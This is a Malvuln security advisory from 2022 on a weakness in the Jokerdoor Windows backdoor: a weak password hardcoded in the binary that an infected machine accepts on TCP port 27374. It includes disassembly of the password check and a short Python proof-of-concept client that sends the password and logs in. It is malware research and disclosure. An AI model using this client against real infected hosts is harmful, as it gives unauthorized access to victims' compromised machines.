Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/a6437375fff871dff97dc91c8fd6259f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Weak Hardcoded Credentials
Family: Jokerdoor
Type: PE32
MD5: a6437375fff871dff97dc91c8fd6259f
Vuln ID: MVID-2022-0531
Dropped files: Random name "awup.exe"
Disclosure: 04/02/2022
Description: The malware listens on TCP port 27374. The password "mathiasJ" is weak and hardcoded in the PE file. Failed authentication generates a "POPUP incorrect password..." message, using TELNET results in an error "PWDPerror reading password..." Using Nc64.exe utility results in a trailing line feed character "\n" after the supplied password. This causes the cmp statement check to fail even if the password is correct due to the "\n" character.

004BDA0C | 8B 45 EC                 | mov eax,dword ptr ss:[ebp-14]           | [ebp-14]:" mathiasJ\n"
004BDA0F | 8B 15 0C AC 4D 00        | mov edx,dword ptr ds:[4DAC0C]           | 004DAC0C:&"mathiasJ"
004041C7 | 39 D0                    | cmp eax,edx                             | eax" mathiasJ\n", edx"mathiasJ"

So we will need to write a custom client ourselves. The password must also be sent with no space and prefixed with "PWD" E.g. "PWDmathiasJ". Upon successful authentication we get a message e.g. "PWDconnected time, date Legends 2.1". 

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=27374

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        break
        if "\0" in res or "\n" in res or res == "":
            break
    return res

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    time.sleep(1)
  
    PAYLOAD="PWDmathiasJ"
    s.send(PAYLOAD)

    time.sleep(1)
    print(chk_res(s))
    s.close()

if __name__=="__main__":
    doit()
    print("Malvuln")


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